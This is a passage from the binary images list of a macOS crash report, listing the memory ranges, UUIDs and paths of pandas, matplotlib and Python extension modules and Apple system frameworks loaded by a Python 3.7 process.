       0x113723000 -        0x11372bfff +properties.cpython-37m-darwin.so (0) <29F51A0C-A389-3002-8D94-4DFE26B79EC2> /usr/local/lib/python3.7/site-packages/pandas/_libs/properties.cpython-37m-darwin.so
       0x113734000 -        0x113750ff7 +hashing.cpython-37m-darwin.so (0) <A9CA92BF-B90A-3E00-AD32-D78B7C35D393> /usr/local/lib/python3.7/site-packages/pandas/_libs/hashing.cpython-37m-darwin.so
       0x1137a3000 -        0x1137c8fff +ops.cpython-37m-darwin.so (0) <3C5779C3-46E5-36F9-93A2-EDAA331EF2CB> /usr/local/lib/python3.7/site-packages/pandas/_libs/ops.cpython-37m-darwin.so
       0x11391d000 -        0x1139a2fff +index.cpython-37m-darwin.so (0) <847DA8B2-EF82-337E-A1CD-D7D2E5D8A7B0> /usr/local/lib/python3.7/site-packages/pandas/_libs/index.cpython-37m-darwin.so
       0x1139d2000 -        0x113c1dff7 +join.cpython-37m-darwin.so (0) <008681F7-322C-3D29-9513-BEA85595D08D> /usr/local/lib/python3.7/site-packages/pandas/_libs/join.cpython-37m-darwin.so
       0x113d1b000 -        0x113de0fff +sparse.cpython-37m-darwin.so (0) <0233D55F-A160-3834-8B2A-2CCFB8D86BC8> /usr/local/lib/python3.7/site-packages/pandas/_libs/sparse.cpython-37m-darwin.so
       0x113dfc000 -        0x113ea3fff +groupby.cpython-37m-darwin.so (0) <FFA367F3-AF7B-30A2-896F-93B24907D72A> /usr/local/lib/python3.7/site-packages/pandas/_libs/groupby.cpython-37m-darwin.so
       0x113fe1000 -        0x113fe6ff7 +_json.cpython-37m-darwin.so (0) <FCBCFF72-1F16-343B-8544-5F810977C270> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_json.cpython-37m-darwin.so
       0x1140aa000 -        0x1140affff +indexing.cpython-37m-darwin.so (0) <1F1B14BD-E495-3645-A846-C8AD907F2223> /usr/local/lib/python3.7/site-packages/pandas/_libs/indexing.cpython-37m-darwin.so
       0x1140f6000 -        0x114123ffb +internals.cpython-37m-darwin.so (0) <D20A48ED-DC7D-3C81-BF17-790B61A3A78E> /usr/local/lib/python3.7/site-packages/pandas/_libs/internals.cpython-37m-darwin.so
       0x11417d000 -        0x114180fff +_csv.cpython-37m-darwin.so (0) <727DC667-61CF-376A-B504-3D9DCDFAA934> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/_csv.cpython-37m-darwin.so
       0x114185000 -        0x114187fff +mmap.cpython-37m-darwin.so (0) <B19F543B-E194-3C22-94C8-C4B89043FAA8> /usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/mmap.cpython-37m-darwin.so
       0x11468c000 -        0x1146b1ff7 +_path.cpython-37m-darwin.so (???) <148096A9-DD69-36AD-95A7-194928F0C276> /usr/local/lib/python3.7/site-packages/matplotlib/_path.cpython-37m-darwin.so
       0x114704000 -        0x114794ff7 +window.cpython-37m-darwin.so (0) <0DBB65CF-3C54-3DD6-9123-6006DCB0B941> /usr/local/lib/python3.7/site-packages/pandas/_libs/window.cpython-37m-darwin.so
       0x1147c2000 -        0x1147d1ff7 +skiplist.cpython-37m-darwin.so (0) <5D75199F-D2F1-3E0F-97C6-281ACA21ED3E> /usr/local/lib/python3.7/site-packages/pandas/_libs/skiplist.cpython-37m-darwin.so
       0x11485b000 -        0x11488cfff +reduction.cpython-37m-darwin.so (0) <762E3453-1ADE-3C71-B47B-6810D96AD485> /usr/local/lib/python3.7/site-packages/pandas/_libs/reduction.cpython-37m-darwin.so
       0x1148e3000 -        0x11490effb +reshape.cpython-37m-darwin.so (0) <162AF87F-1B8F-3D89-AF6D-933EC50F7B13> /usr/local/lib/python3.7/site-packages/pandas/_libs/reshape.cpython-37m-darwin.so
       0x1149a6000 -        0x1149b4ff3 +json.cpython-37m-darwin.so (0) <F4A93DA0-A23D-365D-8FA3-A9E78BF09518> /usr/local/lib/python3.7/site-packages/pandas/_libs/json.cpython-37m-darwin.so
       0x1149be000 -        0x114a2cff3 +parsers.cpython-37m-darwin.so (0) <83256B86-14DB-3907-BE06-23F0583AD244> /usr/local/lib/python3.7/site-packages/pandas/_libs/parsers.cpython-37m-darwin.so
       0x114a98000 -        0x114ab8ff3 +writers.cpython-37m-darwin.so (0) <86497737-86BA-3797-A42A-42A29DF2D590> /usr/local/lib/python3.7/site-packages/pandas/_libs/writers.cpython-37m-darwin.so
       0x114b0f000 -        0x114b0fffb +_move.cpython-37m-darwin.so (0) <AF2126B5-FD6D-3904-9057-BEA2E6E9572B> /usr/local/lib/python3.7/site-packages/pandas/util/_move.cpython-37m-darwin.so
       0x114b12000 -        0x114b1dff3 +_packer.cpython-37m-darwin.so (0) <EA54BBBA-4AF7-31C1-89C9-80CE33EC6EC0> /usr/local/lib/python3.7/site-packages/pandas/io/msgpack/_packer.cpython-37m-darwin.so
       0x114b28000 -        0x114b37ff7 +_unpacker.cpython-37m-darwin.so (0) <FBBA3241-DD19-30F4-82A7-2E1CC5EE5A99> /usr/local/lib/python3.7/site-packages/pandas/io/msgpack/_unpacker.cpython-37m-darwin.so
       0x114c45000 -        0x114c53ff7 +testing.cpython-37m-darwin.so (0) <63E7255C-4BCC-3EE0-9515-7231ED48AF8B> /usr/local/lib/python3.7/site-packages/pandas/_libs/testing.cpython-37m-darwin.so
    0x7fff34bd7000 -     0x7fff34bd7fff  com.apple.Accelerate (1.11 - Accelerate 1.11) <A09CB6D5-3F8A-3E05-B0EB-63878296A059> /System/Library/Frameworks/Accelerate.framework/Versions/A/Accelerate
    0x7fff34bef000 -     0x7fff3528ffe3  com.apple.vImage (8.1 - ???) <BDA40EB0-9B20-3ACF-BE37-199578FA84F4> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vImage.framework/Versions/A/vImage
    0x7fff35290000 -     0x7fff35507fd7  libBLAS.dylib (1243.200.4) <0ADBEAE3-6636-33E5-AC9F-11C2249E19D3> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBLAS.dylib
    0x7fff35508000 -     0x7fff3557afe7  libBNNS.dylib (38.200.5) <CC93B9B5-2A8C-3D42-9234-75DD41EC8C0D> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libBNNS.dylib
    0x7fff3557b000 -     0x7fff35921fff  libLAPACK.dylib (1243.200.4) <45722A8A-5788-3C4C-ADD9-1812763FA635> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLAPACK.dylib
    0x7fff35922000 -     0x7fff35937ffb  libLinearAlgebra.dylib (1243.200.4) <3923AB79-213E-32FD-AC87-8B1A1A832336> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libLinearAlgebra.dylib
    0x7fff35938000 -     0x7fff3593dff3  libQuadrature.dylib (3.200.2) <4FBCAC0A-81A4-3C53-8458-27F3569C809D> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libQuadrature.dylib
    0x7fff3593e000 -     0x7fff359bbffb  libSparse.dylib (79.200.5) <2D650C50-E87E-3F24-9BFA-C8EB6DE1A6E9> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libSparse.dylib
    0x7fff359bc000 -     0x7fff359cfffb  libSparseBLAS.dylib (1243.200.4) <6F8C78BE-A0FD-3507-8A95-541AFC57F1EE> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libSparseBLAS.dylib
    0x7fff359d0000 -     0x7fff35bb4ff3  libvDSP.dylib (671.220.1) <2F576522-08B1-3C65-8F00-3427E938ADDA> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvDSP.dylib
    0x7fff35bb5000 -     0x7fff35c6aff3  libvMisc.dylib (671.220.1) <D7B5F89D-3310-31F4-B8BF-42DA300ABE64> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/libvMisc.dylib
    0x7fff35c6b000 -     0x7fff35c6bfff  com.apple.Accelerate.vecLib (3.11 - vecLib 3.11) <221E4FEF-0431-3316-8281-22B6F8315A09> /System/Library/Frameworks/Accelerate.framework/Versions/A/Frameworks/vecLib.framework/Versions/A/vecLib
    0x7fff36c8f000 -     0x7fff36c8ffff  com.apple.ApplicationServices (50.1 - 50.1) <86D6F10E-21F8-3CDC-9838-EB07A1C54BA9> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/ApplicationServices
    0x7fff36c90000 -     0x7fff36cfbff7  com.apple.ApplicationServices.ATS (377 - 453.11) <4080F8BE-F2A2-3707-8754-436FBDB1DAF1> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/ATS
    0x7fff36d94000 -     0x7fff36eb3fff  libFontParser.dylib (228.6) <BBCBEE2C-5B55-3278-B81D-22D72466753E> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/Resources/libFontParser.dylib
    0x7fff36eb4000 -     0x7fff36effff7  libFontRegistry.dylib (228.12.1.1) <B515718C-81BC-3705-A207-7215486C6D28> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ATS.framework/Versions/A/Resources/libFontRegistry.dylib
    0x7fff36ffb000 -     0x7fff36fffff3  com.apple.ColorSyncLegacy (4.13.0 - 1) <4B1238CC-9B77-3AA5-8329-EE3C736F07EA> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/ColorSyncLegacy.framework/Versions/A/ColorSyncLegacy
    0x7fff3709c000 -     0x7fff370eeff3  com.apple.HIServices (1.22 - 627.14.2) <1F851BF9-AD29-3558-9EA5-AAD9BAAAC823> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/HIServices.framework/Versions/A/HIServices
    0x7fff370ef000 -     0x7fff370fdff3  com.apple.LangAnalysis (1.7.0 - 1.7.0) <5654723A-7B3B-391F-B9F7-0DE4D5940185> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/LangAnalysis.framework/Versions/A/LangAnalysis
    0x7fff370fe000 -     0x7fff3714afff  com.apple.print.framework.PrintCore (14.2 - 503.8) <F1246C9A-2216-3390-8DF1-89304F47CE5D> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/PrintCore.framework/Versions/A/PrintCore
    0x7fff3714b000 -     0x7fff37186ff7  com.apple.QD (3.12 - 407.2) <F6B648DA-DA39-3EB4-B593-1B7E316661CD> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/QD.framework/Versions/A/QD
    0x7fff37187000 -     0x7fff37193ff7  com.apple.speech.synthesis.framework (8.1.0 - 8.1.0) <CF19C8B6-AAD5-3DCF-ABD0-3BABB44D119C> /System/Library/Frameworks/ApplicationServices.framework/Versions/A/Frameworks/SpeechSynthesis.framework/Versions/A/SpeechSynthesis
    0x7fff37194000 -     0x7fff37431fff  com.apple.audio.toolbox.AudioToolbox (1.14 - 1.14) <5D484151-F269-3D98-B507-0544A6B950AC> /System/Library/Frameworks/AudioToolbox.framework/Versions/A/AudioToolbox
    0x7fff37797000 -     0x7fff37b58fff  com.apple.CFNetwork (976 - 976) <A434842F-305B-301D-8F88-373CA7BF7196> /System/Library/Frameworks/CFNetwork.framework/Versions/A/CFNetwork
    0x7fff38096000 -     0x7fff38162fff  com.apple.ColorSync (4.13.0 - 3340) <2F45EB01-0C51-3D25-9836-18F99222E1C7> /System/Library/Frameworks/ColorSync.framework/Versions/A/ColorSync
    0x7fff382fd000 -     0x7fff3838dfff  com.apple.audio.CoreAudio (4.3.0 - 4.3.0) <1E7EF105-B843-370D-884E-0A43E1A5800B> /System/Library/Frameworks/CoreAudio.framework/Versions/A/CoreAudio
    0x7fff3841f000 -     0x7fff387c0fef  com.apple.CoreData (120 - 866.1) <18CD58FD-513E-385B-B43C-08EEB909709C> /System/Library/Frameworks/CoreData.framework/Versions/A/CoreData
    0x7fff387c1000 -     0x7fff388aaff7  com.apple.CoreDisplay (101.3 - 106.2) <EE0D334B-8B71-3A70-9F90-677171D6762F> /System/Library/Frameworks/CoreDisplay.framework/Versions/A/CoreDisplay
    0x7fff388ab000 -     0x7fff38cf8fef  com.apple.CoreFoundation (6.9 - 1562) <02A2C178-9FF6-385C-A9C5-7F4FC9D66311> /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
    0x7fff38cfa000 -     0x7fff39387ff7  com.apple.CoreGraphics (2.0 - 1249.2) <78B75F62-4B60-3FF4-9259-8981E755F6CD> /System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics
    0x7fff39389000 -     0x7fff396b2fff  com.apple.CoreImage (14.2.0 - 720.0.130) <B356BA95-EDD3-35D8-9E4B-250AF6C6DDF9> /System/Library/Frameworks/CoreImage.framework/Versions/A/CoreImage
    0x7fff39b68000 -     0x7fff39b68fff  com.apple.CoreServices (941 - 941) <6DBA4791-26DB-39FB-A6A3-5910A0F2EDD2> /System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices
    0x7fff39b69000 -     0x7fff39be7ffb  com.apple.AE (771 - 771) <4B009524-699E-3891-98DD-E3B6BB433C8F> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/AE.framework/Versions/A/AE
    0x7fff39be8000 -     0x7fff39ec0ff7  com.apple.CoreServices.CarbonCore (1178.16 - 1178.16) <17FC2B9E-EB6C-3768-A2D0-6E086F2563D9> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/CarbonCore.framework/Versions/A/CarbonCore
    0x7fff39ec1000 -     0x7fff39f0bff7  com.apple.DictionaryServices (1.2 - 284.16.3) <1DAC9153-FB5A-3798-8797-CBFEFF227F71> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/DictionaryServices.framework/Versions/A/DictionaryServices
    0x7fff39f0c000 -     0x7fff39f14ffb  com.apple.CoreServices.FSEvents (1239.200.12 - 1239.200.12) <8E1507EA-F0A8-3845-B32D-4FBC1381E89C> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/FSEvents.framework/Versions/A/FSEvents
    0x7fff39f15000 -     0x7fff3a0e0fff  com.apple.LaunchServices (941 - 941) <A8E42760-995C-35E2-BF4A-C96FD0633B29> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/LaunchServices
    0x7fff3a0e1000 -     0x7fff3a183fff  com.apple.Metadata (10.7.0 - 1191.53) <48609998-8A34-3CAF-8A42-52C180809656> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/Metadata.framework/Versions/A/Metadata
    0x7fff3a184000 -     0x7fff3a1cfff7  com.apple.CoreServices.OSServices (941 - 941) <1B9EA259-09DF-332B-807A-BD50F3184CAC> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/OSServices.framework/Versions/A/OSServices
    0x7fff3a1d0000 -     0x7fff3a23eff7  com.apple.SearchKit (1.4.0 - 1.4.0) <CEC29BB5-D28E-3424-84FE-70756E521F3B> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SearchKit.framework/Versions/A/SearchKit
    0x7fff3a23f000 -     0x7fff3a263ffb  com.apple.coreservices.SharedFileList (71.27 - 71.27) <6389B59D-DDAC-3C97-A982-137B9B1FB734> /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/SharedFileList.framework/Versions/A/SharedFileList
    0x7fff3a5ab000 -     0x7fff3a710ffb  com.apple.CoreText (352.0 - 584.26) <5F61037C-825D-37A4-9091-0047413CC213> /System/Library/Frameworks/CoreText.framework/Versions/A/CoreText
    0x7fff3a711000 -     0x7fff3a74efff  com.apple.CoreVideo (1.8 - 0.0) <34EC73F1-F0ED-32F5-B96E-7683B1F9A7A2> /System/Library/Frameworks/CoreVideo.framework/Versions/A/CoreVideo
    0x7fff3aa62000 -     0x7fff3aa67fff  com.apple.DiskArbitration (2.7 - 2.7) <97707A79-30E7-3D99-AA20-B992B0900BC4> /System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration
    0x7fff3ac30000 -     0x7fff3affefff  com.apple.Foundation (6.9 - 1562) <83D4A12B-EA5A-3C62-8D93-95E64F0A256B> /System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
    0x7fff3b06f000 -     0x7fff3b09fff3  com.apple.GSS (4.0 - 2.0) <86D07291-5DFC-30C2-9A18-5FCEDB0BE621> /System/Library/Frameworks/GSS.framework/Versions/A/GSS
    0x7fff3b325000 -     0x7fff3b3b8fff  com.apple.framework.IOKit (2.0.2 - 1483.240.1) <241690BB-8AFA-3B6A-A210-67874197CB59> /System/Library/Frameworks/IOKit.framework/Versions/A/IOKit
    0x7fff3b3ba000 -     0x7fff3b3c4ff7  com.apple.IOSurface (255.1 - 255.1) <58826B1A-38E8-3C76-8FFC-76C9282DA893> /System/Library/Frameworks/IOSurface.framework/Versions/A/IOSurface
    0x7fff3b41b000 -     0x7fff3b5b9fff  com.apple.ImageIO.framework (3.3.0 - 1822.1) <908907D5-5C29-32F7-ACD9-C6A6D51C4D15> /System/Library/Frameworks/ImageIO.framework/Versions/A/ImageIO
    0x7fff3b5ba000 -     0x7fff3b5beffb  libGIF.dylib (1822.1) <35E37B95-1962-3A25-9C9E-CADD161152B3> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libGIF.dylib
    0x7fff3b5bf000 -     0x7fff3b6a4fe7  libJP2.dylib (1822.1) <BDBCBF28-12DB-3D63-B6F0-A559D1839F81> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJP2.dylib
    0x7fff3b6a5000 -     0x7fff3b6caff7  libJPEG.dylib (1822.1) <D443C754-4AFC-38E1-9E45-D309ACBCE17B> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libJPEG.dylib
    0x7fff3b99d000 -     0x7fff3b9c3fe7  libPng.dylib (1822.1) <28FE6E2C-1A17-3A84-AAF3-76014DEADDD4> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libPng.dylib
    0x7fff3b9c4000 -     0x7fff3b9c6ff7  libRadiance.dylib (1822.1) <687906E3-4EC2-3CE9-B7EA-34418239EE1B> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libRadiance.dylib
    0x7fff3b9c7000 -     0x7fff3ba15ffb  libTIFF.dylib (1822.1) <0A1C083B-CE2F-3A00-8E45-EB58DCA2FF34> /System/Library/Frameworks/ImageIO.framework/Versions/A/Resources/libTIFF.dylib
    0x7fff3cabf000 -     0x7fff3cad8fff  com.apple.Kerberos (3.0 - 1) <5D1B0593-3C0E-32D5-AAE5-ABC22A98B639> /System/Library/Frameworks/Kerberos.framework/Versions/A/Kerberos
    0x7fff3d4fa000 -     0x7fff3d58dfff  com.apple.Metal (158.5 - 158.5) <72BF7187-81FE-389B-882F-7B2587FEB455> /System/Library/Frameworks/Metal.framework/Versions/A/Metal
    0x7fff3d5aa000 -     0x7fff3d5caff7  com.apple.MetalPerformanceShaders.MPSCore (1.0 - 1) <18281B14-0C6A-38F8-AB80-2D4BB0743C88> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSCore.framework/Versions/A/MPSCore
    0x7fff3d5cb000 -     0x7fff3d649ff7  com.apple.MetalPerformanceShaders.MPSImage (1.0 - 1) <BEAF764B-362B-3C45-86F5-2AFBA5FA0F47> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSImage.framework/Versions/A/MPSImage
    0x7fff3d64a000 -     0x7fff3d672fff  com.apple.MetalPerformanceShaders.MPSMatrix (1.0 - 1) <116D6C1A-2FD7-3743-95A0-CDDA3D459529> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSMatrix.framework/Versions/A/MPSMatrix
    0x7fff3d673000 -     0x7fff3d7a5ff7  com.apple.MetalPerformanceShaders.MPSNeuralNetwork (1.0 - 1) <88E80BEE-3D2B-328B-80D4-F4717BDB2E9F> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSNeuralNetwork.framework/Versions/A/MPSNeuralNetwork
    0x7fff3d7a6000 -     0x7fff3d7c1ff7  com.apple.MetalPerformanceShaders.MPSRayIntersector (1.0 - 1) <E0E652B0-1624-3435-AD60-83A9C4B59852> /System/Library/Frameworks/MetalPerformanceShaders.framework/Frameworks/MPSRayIntersector.framework/Versions/A/MPSRayIntersector
    0x7fff3d7c2000 -     0x7fff3d7c2ff7  com.apple.MetalPerformanceShaders.MetalPerformanceShaders (1.0 - 1) <1BBA8BC8-49C6-3C9B-B985-7CE4373E3553> /System/Library/Frameworks/MetalPerformanceShaders.framework/Versions/A/MetalPerformanceShaders
    0x7fff3e9c0000 -     0x7fff3e9ccffb  com.apple.NetFS (6.0 - 4.0) <918DF6CD-2DB0-36A8-B869-5EF637A06C0D> /System/Library/Frameworks/NetFS.framework/Versions/A/NetFS
    0x7fff4148c000 -     0x7fff414e4fff  com.apple.opencl (2.15.1 - 2.15.1) <CC9439C3-FF30-38D2-BF2F-EA0EF1B5775E> /System/Library/Frameworks/OpenCL.framework/Versions/A/OpenCL
    0x7fff414e5000 -     0x7fff41501ff7  com.apple.CFOpenDirectory (10.14 - 207.200.4) <2CB1F122-2FA0-347C-8454-9CE0FA150832> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/Frameworks/CFOpenDirectory.framework/Versions/A/CFOpenDirectory
    0x7fff41502000 -     0x7fff4150effb  com.apple.OpenDirectory (10.14 - 207.200.4) <A3FB0F0C-57F4-3F89-A4B1-63DA1F7C9E8E> /System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory
    0x7fff41e71000 -     0x7fff41e73fff  libCVMSPluginSupport.dylib (17.3.1) <B2310175-04D6-378B-A220-A8AD7F0DA68E> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCVMSPluginSupport.dylib
    0x7fff41e74000 -     0x7fff41e79ff3  libCoreFSCache.dylib (163.20) <566DB80E-F1D6-3AEC-AF06-08955507AFEE> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCoreFSCache.dylib
    0x7fff41e7a000 -     0x7fff41e7efff  libCoreVMClient.dylib (163.20) <B9A89373-BDCD-3003-9A82-6D73B930A122> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libCoreVMClient.dylib
    0x7fff41e7f000 -     0x7fff41e87ffb  libGFXShared.dylib (17.3.1) <9FFA679A-8CC9-3932-8A41-AA80C386AD3A> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGFXShared.dylib
    0x7fff41e88000 -     0x7fff41e93fff  libGL.dylib (17.3.1) <CFAB6AE4-E646-3E8A-B872-EF091CAF949E> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGL.dylib
    0x7fff41e94000 -     0x7fff41ecefef  libGLImage.dylib (17.3.1) <1AEC8E56-D851-3516-96FE-2829883A8302> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGLImage.dylib
    0x7fff42042000 -     0x7fff4207ffff  libGLU.dylib (17.3.1) <90279918-D4B2-31E0-9709-8E06628D9486> /System/Library/Frameworks/OpenGL.framework/Versions/A/Libraries/libGLU.dylib
    0x7fff42a2f000 -     0x7fff42a3eff3  com.apple.opengl (17.3.1 - 17.3.1) <2F59064F-D6EF-35CD-9747-20A91DB3D5DF> /System/Library/Frameworks/OpenGL.framework/Versions/A/OpenGL
    0x7fff4389a000 -     0x7fff43af3fff  com.apple.QuartzCore (1.11 - 696.3) <01A2F065-8759-311D-AC2E-FD49F52A87FA> /System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore
    0x7fff44347000 -     0x7fff4466fff7  com.apple.security (7.0 - 58286.240.4) <91A03FF2-2EE9-36A7-AC4F-169E11FE7846> /System/Library/Frameworks/Security.framework/Versions/A/Security
    0x7fff44670000 -     0x7fff446fffff  com.apple.securityfoundation (6.0 - 55185.200.14) <F6A0EC77-51DB-3312-991C-3E1F920DE8F1> /System/Library/Frameworks/SecurityFoundation.framework/Versions/A/SecurityFoundation
    0x7fff44731000 -     0x7fff44735ff3  com.apple.xpc.ServiceManagement (1.0 - 1) <26BA237C-DBA0-3322-B9BF-8B8E739E3A20> /System/Library/Frameworks/ServiceManagement.framework/Versions/A/ServiceManagement
    0x7fff44af2000 -     0x7fff44b62ff3  com.apple.SystemConfiguration (1.17 - 1.17) <A8FD596E-C858-397F-836C-978038B97AC0> /System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
    0x7fff47dd0000 -     0x7fff47e75fe7  com.apple.APFS (1.0 - 1) <BCB42C90-DEE0-3CD2-9B28-55CD8EFD9487> /System/Library/PrivateFrameworks/APFS.framework/Versions/A/APFS
    0x7fff488c1000 -     0x7fff488c2ff3  com.apple.AggregateDictionary (1.0 - 1) <EBA6443E-6CF0-34F6-B77A-3FCEC57F8F80> /System/Library/PrivateFrameworks/AggregateDictionary.framework/Versions/A/AggregateDictionary
    0x7fff491c7000 -     0x7fff491d6fcf  com.apple.AppleFSCompression (96.200.3 - 1.0) <78D538DD-1D24-34FC-AFB3-10411494870D> /System/Library/PrivateFrameworks/AppleFSCompression.framework/Versions/A/AppleFSCompression
    0x7fff49320000 -     0x7fff49369ff3  com.apple.AppleJPEG (1.0 - 1) <EC4C49F1-C060-3C0F-910F-3620985D4F12> /System/Library/PrivateFrameworks/AppleJPEG.framework/Versions/A/AppleJPEG
    0x7fff495bc000 -     0x7fff495e4ff7  com.apple.applesauce (1.0 - ???) <58654BC0-9243-39D1-BC43-B7F2E37A3A44> /System/Library/PrivateFrameworks/AppleSauce.framework/Versions/A/AppleSauce
    0x7fff4974a000 -     0x7fff49760ffb  com.apple.AssertionServices (1.0 - 1) <3F767D20-FE14-35CF-A089-E0445375ECFB> /System/Library/PrivateFrameworks/AssertionServices.framework/Versions/A/AssertionServices
    0x7fff49f10000 -     0x7fff49f19ff3  com.apple.coreservices.BackgroundTaskManagement (1.0 - 57.1) <05CF66F0-9650-3F75-9857-F8D186043866> /System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/BackgroundTaskManagement
    0x7fff49fbd000 -     0x7fff4a02effb  com.apple.BaseBoard (360.24 - 360.24) <04AF4372-C5D3-3F0A-A688-68D888D6D138> /System/Library/PrivateFrameworks/BaseBoard.framework/Versions/A/BaseBoard
    0x7fff4bbe3000 -     0x7fff4bbecfff  com.apple.CommonAuth (4.0 - 2.0) <090893E5-BB65-39DA-A174-EAB2C7191EFE> /System/Library/PrivateFrameworks/CommonAuth.framework/Versions/A/CommonAuth
    0x7fff4c8fd000 -     0x7fff4c911fff  com.apple.CoreEmoji (1.0 - 69.19.8) <26BC0F82-08C1-3EBD-9299-D3CC5091C467> /System/Library/PrivateFrameworks/CoreEmoji.framework/Versions/A/CoreEmoji
    0x7fff4cee7000 -     0x7fff4cf59ff7  com.apple.CoreNLP (1.0 - 130.15.22) <D0A3E880-CDEA-360A-9838-220D76BAECC6> /System/Library/PrivateFrameworks/CoreNLP.framework/Versions/A/CoreNLP
    0x7fff4dcf0000 -     0x7fff4dcf4ff7  com.apple.DSExternalDisplay (3.1 - 380) <76449D22-BA27-3FB1-AD25-A290936E6DEA> /System/Library/PrivateFrameworks/DSExternalDisplay.framework/Versions/A/DSExternalDisplay
    0x7fff4f019000 -     0x7fff4f441fff  com.apple.vision.FaceCore (3.3.4 - 3.3.4) <41218EB7-19C9-3813-A793-B0623387CADF> /System/Library/PrivateFrameworks/FaceCore.framework/Versions/A/FaceCore
    0x7fff5440e000 -     0x7fff54413ff7  com.apple.GPUWrangler (3.28.4 - 3.28.4) <7E06C75D-5502-3F1D-987C-4F103917CD85> /System/Library/PrivateFrameworks/GPUWrangler.framework/Versions/A/GPUWrangler
    0x7fff5527e000 -     0x7fff5528dfff  com.apple.GraphVisualizer (1.0 - 5) <CAFE626E-9738-3C14-88AA-B6A9182F2C39> /System/Library/PrivateFrameworks/GraphVisualizer.framework/Versions/A/GraphVisualizer
    0x7fff553de000 -     0x7fff55453fff  com.apple.Heimdal (4.0 - 2.0) <D99FF31F-6310-3D80-8AE3-64934385AC11> /System/Library/PrivateFrameworks/Heimdal.framework/Versions/A/Heimdal
    0x7fff56843000 -     0x7fff5684affb  com.apple.IOAccelerator (404.2.2 - 404.2.2) <2F099589-DBE9-3442-AC93-F4AB363482A0> /System/Library/PrivateFrameworks/IOAccelerator.framework/Versions/A/IOAccelerator
    0x7fff5684e000 -     0x7fff56867fff  com.apple.IOPresentment (1.0 - 42.6) <F7E91CC9-E4BB-3904-8647-0473E3BCAF70> /System/Library/PrivateFrameworks/IOPresentment.framework/Versions/A/IOPresentment
    0x7fff56f7a000 -     0x7fff57071fff  com.apple.LanguageModeling (1.0 - 159.15.15) <34609F31-4DA1-3881-8947-85BEA7AFC938> /System/Library/PrivateFrameworks/LanguageModeling.framework/Versions/A/LanguageModeling
    0x7fff57072000 -     0x7fff570b3ff7  com.apple.Lexicon-framework (1.0 - 33.15.10) <07E008F3-E823-333B-8B41-A46024AB0561> /System/Library/PrivateFrameworks/Lexicon.framework/Versions/A/Lexicon
    0x7fff570ba000 -     0x7fff570c0ff7  com.apple.LinguisticData (1.0 - 238.23.4) <F6AA7095-3975-3C76-9833-BBE955EFEBD7> /System/Library/PrivateFrameworks/LinguisticData.framework/Versions/A/LinguisticData
